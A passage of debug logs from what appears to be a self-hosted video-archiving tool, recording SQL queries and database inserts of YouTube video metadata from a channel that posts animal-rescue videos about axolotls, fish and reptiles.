of their craziest animals, and I managed to find snapping turtles, and a bunch of monster fish including a retail catfish, and a ripsaw catfish! I then discovered an aquarium filled with murky green water, and inside was the rarest axolotls so far, including a firefly, and one that glows in the dark! After that I made a shocking discovery, it was an aquarium that was filled with $5,000 worth of baby mosaic axolotls! This means that they are breeding in here, but we still need to find the big one, so I kept going and next was a big pond full of the biggest axolotls so far! I managed to catch a big albino, a melanistic, and a big golden! But there was still no sign of the $10,000 mosaic axolotl, so I started netting around in the final tank, when suddenly I pulled up the mosaic axolotl! In total we saved hundreds of axolotls, including the rarest ones in the entire world! Comment below if I should do a part 2 where I build all of them their dream home!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found an Abandoned Axolotl Pet Store...", "ee226d08-2b42-4615-b787-dd5a1e05e619", "5kj__m_07rI", false, "https://www.youtube.com/watch?v=5kj__m_07rI", 33, [], 1986, false, 1, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e050300 - I Found an Abandoned Axolotl Pet Store....mkv", false, false, 98, ~U[2026-05-03 12:00:08Z], ~U[2026-06-03 12:29:53Z], ~U[2026-06-03 12:29:53Z], "In today’s video, I find an abandoned axolotl pet store that is still filled with the rarest and most expensive axolotls in the world, Including a mosaic axolotl that costs $10,000! And well since no one is taking care of them, my mission is to save as many as possible! So I started my search and immediately I came across a bunch of tiny fish tanks that were filled with shrimp, pufferfish, frogs, and a bunch of baby axolotls! But these were just normal ones, as we explore the rest of the abandoned pet store the axolotls are gonna get rarer and rarer! I kept going and next I found a bunch of albino axolotls, as well as a melanistic, a golden, and a copper! However as I took my next scoop I pulled up the most expensive animal so far, a fly river turtle! These turtles cost over $800, but believe it or not that’s not even the most expensive animal in this pet store! After that I continued exploring and I managed to find a white crawfish, a gulper catfish, and even a freshwater pufferfish! Now up until this point we have saved tons of axolotls, but as I kept going I discovered more species I’ve never even heard of! Including a bluegill axolotl, a golden copper, and even a deformed axolotl that only had gills on the left side of his head! After that I made my way over to the other side of the pet store where they kept some of their craziest animals, and I managed to find snapping turtles, and a bunch of monster fish including a retail catfish, and a ripsaw catfish! I then discovered an aquarium filled with murky green water, and inside was the rarest axolotls so far, including a firefly, and one that glows in the dark! After that I made a shocking discovery, it was an aquarium that was filled with $5,000 worth of baby mosaic axolotls! This means that they are breeding in here, but we still need to find the big one, so I kept going and next was a big pond full of the biggest axolotls so far! I managed to catch a big albino, a melanistic, and a big golden! But there was still no sign of the $10,000 mosaic axolotl, so I started netting around in the final tank, when suddenly I pulled up the mosaic axolotl! In total we saved hundreds of axolotls, including the rarest ones in the entire world! Comment below if I should do a part 2 where I build all of them their dream home!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found an Abandoned Axolotl Pet Store...", "5kj__m_07rI", "https://www.youtube.com/watch?v=5kj__m_07rI", 33, 1986, false, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e050300 - I Found an Abandoned Axolotl Pet Store....mkv", false, ~U[2026-05-03 12:00:08Z]] 08:29:53.752 [debug] QUERY OK source="sources" db=0.4ms idle=17.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:53.752 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:53.753 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [133731] 08:29:53.753 [debug] Current batch of media processed. Will check again in 1000ms 08:29:54.754 [debug] Current batch of media processed. Will check again in 1000ms 08:29:55.756 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video I find deadly fish living in an abandoned pool, along with a ton of other rare and expensive fish! It all started when a subscriber contacted me saying there are monsters attacking his pet fish. He suspected it could be a man eating catfish, an electric eel, or a 4ft long aba aba knife fish, also known as the deadliest freshwater fish in the world… So my goal is to explore the entire abandoned pool and catch out every single fish before it’s too late! I started netting around and right away I caught tons of exotic fish including ripsaw catfish, knife fish, piranhas, and so many other rare fish… But as I moved deeper into the abandoned pool, I also discovered that it was infested with leeches and other aquatic insects like toe biters, which is another reason we need to save all the fish! So I kept scooping around and the fish were getting bigger and bigger! I caught a bunch of giant catfish, and even a deadly vampire fish… But right after that I caught something even bigger in my net, but sadly it ripped a hole in it and got away… So I continued searching to find out what it is, when suddenly I caught a baby aba aba knife fish! This means that there is multiple of these deadly fish in this pool, which is gonna make this rescue mission a lot harder. So I kept going and I found a redtail catfish, an albino turtle, and even a giant gar! But these fish were getting harder and harder to catch, so I decided to get into the abandoned pool and right away I caught a giant softshell turtle, a big lungfish, a freshwater pufferfish, and so many other rare fish iv never even seen before! But things took a turn when suddenly I was attacked by one of the deadly fish, so I decided to just place a bunch of fish traps and leave them there overnight, that way we can hopefully catch out the rest of the fish! When it was time to check the traps, I noticed they were filled with insane creatures, including a platinum redtail catfish, an albino pufferfish, goonch catfish, and so much more! But then there was only one trap to check and it was the biggest one out of all of them… Inside was an albino sturgeon, a clown knife fish, a giant bichir, and the 4ft long aba aba knife fish! But even though we caught out and removed a bunch of deadly fish, there is still more in the abandoned pool… So should I come back and do a part 2?\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 2085, "filename" => "/downloads/shows/Bass fishing Productions/Season 2026/s2026e032800 - I Found Deadly Fish in an Abandoned Pool….mkv", "id" => "X19-y45lt6o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=X19-y45lt6o", "playlist_index" => 2, "timestamp" => 1774699202, "title" => "I Found Deadly Fish in an Abandoned Pool…", "upload_date" => "20260328"} 08:29:55.758 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=67.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:55.759 [debug] QUERY OK source="sources" db=0.9ms idle=69.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:55.762 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=70.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-28 12:00:02Z], 33] 08:29:55.764 [debug] QUERY OK source="media_items" db=1.3ms idle=73.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I find deadly fish living in an abandoned pool, along with a ton of other rare and expensive fish! It all started when a subscriber contacted me saying there are monsters attacking his pet fish. He suspected it could be a man eating catfish, an electric eel, or a 4ft long aba aba knife fish, also known as the deadliest freshwater fish in the world… So my goal is to explore the entire abandoned pool and catch out every single fish before it’s too late! I started netting around and right away I caught tons of exotic fish including ripsaw catfish, knife fish, piranhas, and so many other rare fish… But as I moved deeper into the abandoned pool, I also discovered that it was infested with leeches and other aquatic insects like toe biters, which is another reason we need to save all the fish! So I kept scooping around and the fish were getting bigger and bigger! I caught a bunch of giant catfish, and even a deadly vampire fish… But right after that I caught something even bigger in my net, but sadly it ripped a hole in it and got away… So I continued searching to find out what it is, when suddenly I caught a baby aba aba knife fish! This means that there is multiple of these deadly fish in this pool, which is gonna make this rescue mission a lot harder. So I kept going and I found a redtail catfish, an albino turtle, and even a giant gar! But these fish were getting harder and harder to catch, so I decided to get into the abandoned pool and right away I caught a giant softshell turtle, a big lungfish, a freshwater pufferfish, and so many other rare fish iv never even seen before! But things took a turn when suddenly I was attacked by one of the deadly fish, so I decided to just place a bunch of fish traps and leave them there overnight, that way we can hopefully catch out the rest of the fish! When it was time to check the traps, I noticed they were filled with insane creatures, including a platinum redtail catfish, an albino pufferfish, goonch catfish, and so much more! But then there was only one trap to check and it was the biggest one out of all of them… Inside was an albino sturgeon, a clown knife fish, a giant bichir, and the 4ft long aba aba knife fish! But even though we caught out and removed a bunch of deadly fish, there is still more in the abandoned pool… So should I come back and do a part 2?\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Fish in an Abandoned Pool…", "cb7d779a-1575-454c-a92c-bcf0069e31f1", "X19-y45lt6o", false, "https://www.youtube.com/watch?v=X19-y45lt6o", 33, [], 2085, false, 2, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e032800 - I Found Deadly Fish in an Abandoned Pool….mkv", false, false, 98, ~U[2026-03-28 12:00:02Z], ~U[2026-06-03 12:29:55Z], ~U[2026-06-03 12:29:55Z], "In today’s video I find deadly fish living in an abandoned pool, along with a ton of other rare and expensive fish! It all started when a subscriber contacted me saying there are monsters attacking his pet fish. He suspected it could be a man eating catfish, an electric eel, or a 4ft long aba aba knife fish, also known as the deadliest freshwater fish in the world… So my goal is to explore the entire abandoned pool and catch out every single fish before it’s too late! I started netting around and right away I caught tons of exotic fish including ripsaw catfish, knife fish, piranhas, and so many other rare fish… But as I moved deeper into the abandoned pool, I also discovered that it was infested with leeches and other aquatic insects like toe biters, which is another reason we need to save all the fish! So I kept scooping around and the fish were getting bigger and bigger! I caught a bunch of giant catfish, and even a deadly vampire fish… But right after that I caught something even bigger in my net, but sadly it ripped a hole in it and got away… So I continued searching to find out what it is, when suddenly I caught a baby aba aba knife fish! This means that there is multiple of these deadly fish in this pool, which is gonna make this rescue mission a lot harder. So I kept going and I found a redtail catfish, an albino turtle, and even a giant gar! But these fish were getting harder and harder to catch, so I decided to get into the abandoned pool and right away I caught a giant softshell turtle, a big lungfish, a freshwater pufferfish, and so many other rare fish iv never even seen before! But things took a turn when suddenly I was attacked by one of the deadly fish, so I decided to just place a bunch of fish traps and leave them there overnight, that way we can hopefully catch out the rest of the fish! When it was time to check the traps, I noticed they were filled with insane creatures, including a platinum redtail catfish, an albino pufferfish, goonch catfish, and so much more! But then there was only one trap to check and it was the biggest one out of all of them… Inside was an albino sturgeon, a clown knife fish, a giant bichir, and the 4ft long aba aba knife fish! But even though we caught out and removed a bunch of deadly fish, there is still more in the abandoned pool… So should I come back and do a part 2?\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Fish in an Abandoned Pool…", "X19-y45lt6o", "https://www.youtube.com/watch?v=X19-y45lt6o", 33, 2085, false, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e032800 - I Found Deadly Fish in an Abandoned Pool….mkv", false, ~U[2026-03-28 12:00:02Z]] 08:29:55.765 [debug] QUERY OK source="sources" db=0.2ms idle=27.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:55.765 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:55.766 [debug] QUERY OK source="media_items" db=0.2ms idle=5.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [124092] 08:29:55.766 [debug] Current batch of media processed. Will check again in 1000ms 08:29:56.766 [debug] Current batch of media processed. Will check again in 1000ms 08:29:57.767 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I show you every sewer monster I found in 2025… From alligators, to snakes, to deadly fish, and even flesh eating lampreys, this video has it all. So sit back and relax, and prepare to see some of the rarest creatures I found living in the sewer!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 8319, "filename" => "/downloads/shows/Bass fishing Productions/Season 2026/s2026e011800 - The Craziest Sewer Monsters I’ve Ever Found….mp4", "id" => "mEI05SrXMqE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=mEI05SrXMqE", "playlist_index" => 3, "timestamp" => 1768742879, "title" => "The Craziest Sewer Monsters I’ve Ever Found…", "upload_date" => "20260118"} 08:29:57.768 [debug] QUERY OK source="sources" db=0.2ms idle=78.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:57.768 [debug] QUERY OK source="sources" db=0.1ms idle=79.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:57.770 [debug] QUERY OK source="media_items" db=1.0ms idle=79.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-18 13:27:59Z], 33] 08:29:57.778 [debug] QUERY OK source="media_items" db=8.3ms idle=80.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I show you every sewer monster I found in 2025… From alligators, to snakes, to deadly fish, and even flesh eating lampreys, this video has it all. So sit back and relax, and prepare to see some of the rarest creatures I found living in the sewer!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "The Craziest Sewer Monsters I’ve Ever Found…", "37685538-b67e-4d40-babc-1e99e0cb0af4", "mEI05SrXMqE", false, "https://www.youtube.com/watch?v=mEI05SrXMqE", 33, [], 8319, false, 3, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e011800 - The Craziest Sewer Monsters I’ve Ever Found….mp4", false, false, 98, ~U[2026-01-18 13:27:59Z], ~U[2026-06-03 12:29:57Z], ~U[2026-06-03 12:29:57Z], "In today’s video, I show you every sewer monster I found in 2025… From alligators, to snakes, to deadly fish, and even flesh eating lampreys, this video has it all. So sit back and relax, and prepare to see some of the rarest creatures I found living in the sewer!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "The Craziest Sewer Monsters I’ve Ever Found…", "mEI05SrXMqE", "https://www.youtube.com/watch?v=mEI05SrXMqE", 33, 8319, false, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e011800 - The Craziest Sewer Monsters I’ve Ever Found….mp4", false, ~U[2026-01-18 13:27:59Z]] 08:29:57.779 [debug] QUERY OK source="sources" db=0.2ms idle=38.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:57.779 [debug] QUERY OK source="media_profiles" db=0.1ms idle=11.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:57.780 [debug] QUERY OK source="media_items" db=0.2ms idle=11.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118970] 08:29:57.780 [debug] Current batch of media processed. Will check again in 1000ms 08:29:58.781 [debug] Current batch of media processed. Will check again in 1000ms 08:29:59.381 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:59.782 [debug] Current batch of media processed. Will check again in 1000ms 08:30:00.092 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:30:00.784 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thank you to Whatnot for sponsoring this video! Get $15 off your first purchase when you download the app and sign up using my link: https://www.whatnot.com/invite/bassfishingproductions Don’t forget to follow me so you don’t miss my exclusive Black Friday Live, where i’ll be auctioning off exclusive BFP merch & gear starting at 7pm ET on november 28th! #whatnotpartner \n—\nIn today’s video I find tons of animals from an abandoned storage unit! It all started when I bought the storage unit from someone who used it to keep his extremely rare and deadly animal collection hidden! So it was my goal to explore it to try and save every single animal that was left behind… But what I didn’t realize was this storage unit was full of the craziest animals we have ever found on the channel. It all started when I opened up the first cage and found a baby squirrel! This was a crazy first find, but we still had a ton of enclosures to look through so I kept going and managed to find crocodile skinks, bird-eating tarantulas, venomous snakes, and even a rare crab! It was here when I realized how hard this rescue mission was going to be, So I wasted no time and kept opening up containers and I was able to find leaf tail geckos, scorpions, turtles, and another snake! But this was still nothing, because next was a huge rack filled with nothing but snakes! And since we had to save every animal in here, I faced my fears and started opening up the snake containers… Inside were corn snakes, king snakes, milk snakes, rat snakes, redtail boas, pythons, and tons of other snakes i’ve never even seen before! After saving all of the snakes I moved on and I was finding animals left and right. There was giant african millipedes, bearded dragons, snapping turtles, and a tokay gecko, which has the most powerful bite out of any gecko in the world! But things didn’t stop there, I also found redfoot tortoises, rare lizards, tree frogs, salamanders, and a bunch of deadly insects! At this point we have explored a lot of the storage unit, but there was still a good amount of enclosures to look through. So I kept going and I was able to find the rarest animals so far including trapdoor spiders, chinchillas, poison dart frogs, and so much more! But now was the moment i’ve been dreading this entire video, the only enclosure left was a big tank on the ground with a snake sign on it. And when I opened it up I saw the biggest snake i’ve ever seen in my life! It was a giant yellowtail cribo, which are extremely aggressive. So I carefully opened up the door and luckily I was able to catch him out without being bit… This was by far the craziest video i’ve ever made, we saved so many rare and deadly animals which i’m going to add to my animal collection!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "duration" => 2511, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e112200 - I Found Deadly Animals in an Abandoned Storage Unit….mkv", "id" => "3h5e0vXKQws", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3h5e0vXKQws", "playlist_index" => 4, "timestamp" => 1763816459, "title" => "I Found Deadly Animals in an Abandoned Storage Unit…", "upload_date" => "20251122"} 08:30:00.784 [debug] QUERY OK source="sources" db=0.3ms idle=1095.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:30:00.785 [debug] QUERY OK source="sources" db=0.2ms 